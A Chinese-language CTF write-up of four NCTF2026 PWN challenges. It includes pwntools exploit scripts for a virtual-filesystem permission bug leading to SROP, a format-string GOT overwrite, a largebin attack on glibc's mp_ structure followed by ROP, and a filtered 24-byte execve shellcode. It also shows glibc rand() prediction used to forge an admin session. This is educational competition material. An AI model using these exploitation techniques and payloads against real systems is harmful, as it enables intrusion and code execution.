NCTF2026-PWN方向详解(全)
字数 3936
更新时间 2026-04-12 12:06:32

NCTF2026 PWN方向挑战详解(全)

概述

本文档基于NCTF2026 PWN方向的官方Write-up,详细解析了四个PWN题目:VFS、checkin、ezheap和最后的一舞。每个题目都涉及不同的漏洞利用技术和防护绕过方法,包括栈漏洞、格式化字符串漏洞、堆利用和Web安全与二进制结合的复杂场景。

1. VFS

1.1 题目信息

  • 文件类型:64位ELF
  • 保护机制
    • Arch: amd64-64-little
    • RELRO: Partial RELRO
    • Stack: No canary found
    • NX: NX enabled
    • PIE: No PIE (0x3fe000)
    • SHSTK: Enabled
    • IBT: Enabled
    • Stripped: No
  • 沙盒限制:仅允许read、write、open、close、exit、exit_group系统调用,需进行ORW(Open-Read-Write)利用。

1.2 核心漏洞分析

题目实现了一个简化的虚拟文件系统(VFS)。核心漏洞在于cmd_softlink函数中的权限处理逻辑缺陷。

漏洞触发流程

  1. 系统初始化时创建了一个特殊文件/dev/stack_core,其inode结构如下:

    /dev/stack_core inode:
      perm = 1
      type = 0
      size = 24
      ptr = &stack_core_blob
    
    stack_core_blob:
      ptr = state->inodes
      size = 0x550
      perm = 1
      magic = "LNKPTR"
    
  2. cmd_hardlink函数存在缺陷:硬链接源文件时只检查src_inode->type == 0,不调用inode_accessible()检查权限。因此,受保护的正规文件如/dev/stack_core仍可被克隆。

  3. cmd_softlink函数的权限复制漏洞:

    if (src_inode->type != 1) // 如果src_inode->type == 1(硬链接),则不从link blob复制perm
      dst_inode->perm = blob->perm;
    

    当源inode类型为1(硬链接)时,目标软链接的perm保持为0(因memset清零),导致本应为1的权限被清0。

  4. 通过组合利用,创建一个指向state->inodes(inode表)的软链接,且权限为0(用户可访问)。

1.3 利用链构建

  1. 创建硬链接:对/dev/stack_core执行HARDLINK,生成一个类型为1的inode副本。
  2. 创建软链接:对硬链接文件执行SOFTLINK,利用权限复制漏洞,生成一个指向state->inodes(地址为blob->ptr)、权限为0的软链接。
  3. 任意地址读:通过READ命令读取软链接,泄露堆地址和程序基址。
  4. 任意地址写:通过WRITE命令修改inode表中的指针,实现任意地址写。
  5. SROP构造:利用任意读写布置SROP链,依次调用openreadwrite读取flag。

1.4 EXP关键代码

#!/usr/bin/env python3
from pwn import *
from struct import pack, unpack

context.terminal = ['tmux','split','-l 100']
context.binary = ELF('./pwn', checksec=False)
elf = context.binary
libc = ELF('./libc.so.6', checksec=False)
context.arch = 'amd64'
context.log_level = 'info'

# 利用步骤
def exploit():
    # 1. 硬链接/dev/stack_core
    io.sendlineafter(b'Commands:', b'HARDLINK /dev/stack_core HK')
    
    # 2. 软链接利用权限漏洞
    io.sendlineafter(b'Commands:', b'SOFTLINK HK LK')
    
    # 3. 读取inode表泄露地址
    io.sendlineafter(b'Commands:', b'READ LK 24')
    leak = io.recvuntil(b'OK')
    heap_base = unpack('<Q', leak[5:13])[0] - 0x2a0
    
    # 4. 修改inode指针实现任意写
    # ... 布置SROP链
    # 5. 执行ORW获取flag

2. checkin

2.1 题目信息

  • 保护机制
    • Partial RELRO
    • No canary
    • NX enabled
    • No PIE (0x3fe000)
    • SHSTK/IBT enabled
  • 漏洞类型:栈上格式化字符串漏洞(非栈上格式化,但可写入全局变量)

2.2 漏洞分析

int main() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("Please checkin first");
    read(0, buf, 256);
    printf(buf);  // 格式化字符串漏洞
    _exit(0);
}

程序存在明显的格式化字符串漏洞,但输入存储在全局变量buf而非栈上。漏洞利用需解决两个问题:

  1. 实现无限循环(绕过一次性利用限制)
  2. 在只有一次格式化字符串机会的情况下完成利用

2.3 利用思路

步骤1:修改_exit@gotmain

  • 目标:将_exit@got改为main地址,实现无限重启
  • 挑战:glibc 2.39无法劫持exit_hook
  • 方法:利用格式化字符串的%n写功能,通过精确控制写入值修改GOT表

步骤2:泄露libc地址

  • 在第二次循环时,通过%p格式泄露栈上的libc地址
  • 计算libc基址

步骤3:修改printf@gotsystem

  • printf的GOT项改为system地址
  • 由于地址值较大,需分两次写入(高2字节和低2字节)
  • 通过栈上布局,在偏移30和32处布置目标地址,在偏移42和49处执行写入

步骤4:执行system("/bin/sh")

  • 第三次输入/bin/sh,实际调用system("/bin/sh")
  • 获取shell

2.4 EXP关键步骤

def pwn1(io):
    # 第一次:修改_exit@got为main
    stage1 = b'%4210664c' + b'%c'*24 + b'%ln' + b'%c'*10 + b'%53676c' + b'%hn'
    io.recvuntil(b'Please checkin first\n')
    io.send(stage1)

def pwn2(io):
    # 第二次:泄露libc地址
    io.recvuntil("Please checkin first\n")
    stage2 = b'%9$p\x00\x00\x00'+b'\x00'*0x90
    io.send(stage2)
    io.recvuntil(b'0x')
    leak = int(io.recv(12), 16)
    libc.address = leak - 0x2a1ca
    return libc.sym.system

def pwn3(io, system):
    # 第三次:修改printf@got为system
    low = system & 0xffff
    mid = (system >> 16) & 0xffff
    w1 = ((low - 0x4012) % 0x10000) - 8
    # 构造payload写入GOT
    # ...
    io.send(payload)
    # 第四次:发送/bin/sh
    io.sendline(b'/bin/sh')

3. ezheap

3.1 题目信息

  • 保护机制:全保护开启(FULL RELRO, Canary, NX, PIE, SHSTK, IBT)
  • 漏洞类型:堆溢出(off-by-one)、Use-After-Free
  • libc版本:2.39

3.2 功能分析

  1. add_chunk: 只能申请largebin大小的chunk(0x450-0x550)
  2. edit_chunk: 存在off-by-one漏洞(buf[read(...)] = 0
  3. show_chunk: 使用write输出,无格式字符串漏洞
  4. delete_chunk: 常规free

3.3 利用思路:Largebin Attack劫持mp_

标准解法是攻击IO,但本题提供另一种思路:利用largebin attack修改mp_.tcache_bins,提高tcache上限,从而将任意地址的chunk放入tcache。

关键结构体malloc_parmp_

  • mp_.tcache_bins:控制可进入tcache的最大chunk大小
  • 默认值为0x40,修改为更大值可使更大size的chunk进入tcache

3.4 利用步骤

阶段1:地址泄露与堆布局

  1. 泄露libc地址:通过释放largebin chunk,利用unsorted bin泄露main_arena地址
  2. 泄露堆地址:通过overlapping构造,泄露堆指针
  3. 构造两组overlap,为后续利用做准备

阶段2:Largebin Attack

  1. 准备两个在同一个largebin范围内的chunk
  2. 修改较小chunk的bk_nextsize指向&mp_.tcache_bins - 0x20
  3. 触发largebin attack,将较大chunk的地址写入mp_.tcache_bins
  4. mp_.tcache_bins值改大(如0x2000)

阶段3:任意地址写

  1. 利用修改后的tcache机制,将chunk分配到environ附近
  2. 读取environ泄露栈地址
  3. 计算edit函数返回地址
  4. 将chunk分配到返回地址附近

阶段4:ROP获取shell

  1. 在栈上布置ROP链:pop rdi; /bin/sh; system
  2. 触发返回,执行system("/bin/sh")

3.5 EXP关键代码

def pwn1():
    # 第一组overlap:泄露libc和堆地址
    add(0, 0x468)
    add(1, 0x4F8)
    add(2, 0x548)
    add(3, 0x450)
    delete(0)
    add(4, 0x478)
    add(5, 0x468)
    
    # 泄露堆地址
    leak = show(5)
    heap_addr = u64(leak[0x10:0x18])
    
    # 构造伪造的chunk头
    payload = p64(heap_addr)*2 + p64(0)*2
    payload += b"A"*(0x468-0x20-8) + p64(0x471)
    edit(5, payload)
    
    # 触发largebin attack
    delete(1)
    # ... 后续利用

4. 最后的一舞

4.1 题目架构

这是一个Web与二进制结合的题目,分为三层:

  1. Web服务器:处理HTTP请求,验证session和key
  2. pwn_worker:执行shellcode的二进制程序
  3. 沙盒限制:严格的shellcode过滤

4.2 漏洞链分析

第一步:Session预测与获取管理员权限

  1. /login端点存在信息泄露:

    __snprintf_chk(session_bytes, 0x2000, 2, 0x2000, "%s", &v27);
    send_simple_http_response(fd, "401 Unauthorized", "text/plain; charset=UTF-8", session_bytes);
    

    输出包含v27(即usernameexpected_password

  2. 随机数生成可预测:

    v3 = time(0);
    ptr = v3 ^ getpid();
    srand(ptr);
    v10 = rand();
    __snprintf_chk(expected_password, 32, 2, 32, "%d", v10);
    

    基于glibc的随机数生成算法可预测后续输出

  3. 预测算法(glibc rand):

    out[i] = (out[i-31] + out[i-3] + eps) mod 2^31
    eps ∈ {0, 1}
    

第二步:获取REWARD指针泄露PIE

  • 通过POST /reward端点,body为Win,可泄露REWARD指针
  • 计算PIE基址

第三步:读取key文件(root.mys)

  • 通过/download端点读取文件
  • 绕过限制:
    1. 扩展名白名单:.html, .js, .css, .txt
    2. 路径穿越防护:禁止../\
  • 利用方法:从Docker镜像历史中提取key
    docker history --no-trunc 2er00ne/nctf:ya
    # COPY ./root.mys /app/www/root.mys
    # echo 'root:123456' | chpasswd
    

第四步:执行pwn_worker

  1. 访问/pwn端点,需提供正确的key
  2. pwn_worker执行shellcode,但有严格限制:
    • 长度 ≤ 24字节
    • 禁止字节:0x0f, 0xcd, 0x80, 0x2f, 0x50-0x57
    • 限制目的:阻止常见syscall/shellcode(如int 0x80, /bin/sh等)

4.3 Shellcode绕过技巧

利用残留寄存器

  • xmm7寄存器残留read@libc的真实地址
  • 可提取libc基址,利用libc中的gadget

Shellcode设计思路

# 24字节stage1:
# 1. 从xmm7恢复read地址到rax
# 2. 计算"/bin/sh"地址到rdi
# 3. 设置rax=59 (execve)
# 4. 跳转到libc中的syscall路径

最终payload

PAYLOADS = {
    'bundled': bytes.fromhex('c4e1f97ef8488db8aff90a004c8d5848b83b00000041ffe3'),
    'local': bytes.fromhex('c4e1f97ef8488db8383e0c004c8d5810b83b00000041ffe3'),
}

4.4 完整利用链

  1. 收集足够多的rand()输出(约40个)
  2. 预测下一个随机数,构造管理员session
  3. 登录获取管理员权限
  4. 通过/reward泄露PIE地址
  5. 从Docker镜像提取key(root.mys内容为"123456")
  6. 访问/pwn提供key,获取shellcode执行权限
  7. 发送精心构造的24字节shellcode
  8. 切换root用户(密码:123456),读取flag

总结

NCTF2026 PWN方向题目涵盖了多种漏洞类型和利用技术:

  1. VFS:文件系统逻辑漏洞,通过权限绕过实现任意地址读写,结合沙盒ORW
  2. checkin:格式化字符串漏洞,利用全局变量和GOT覆写,实现无限循环和GOT劫持
  3. ezheap:堆漏洞综合利用,通过largebin attack修改mp_结构体,突破tcache限制
  4. 最后的一舞:Web与二进制结合,涉及随机数预测、文件读取、严格shellcode过滤绕过

这些题目展示了现代CTF PWN题目的发展趋势:多漏洞组合、复杂环境绕过、混合题型等。解题需要深厚的二进制安全知识、对系统机制的深入理解以及创造性思维。

相似文章
相似文章
 全屏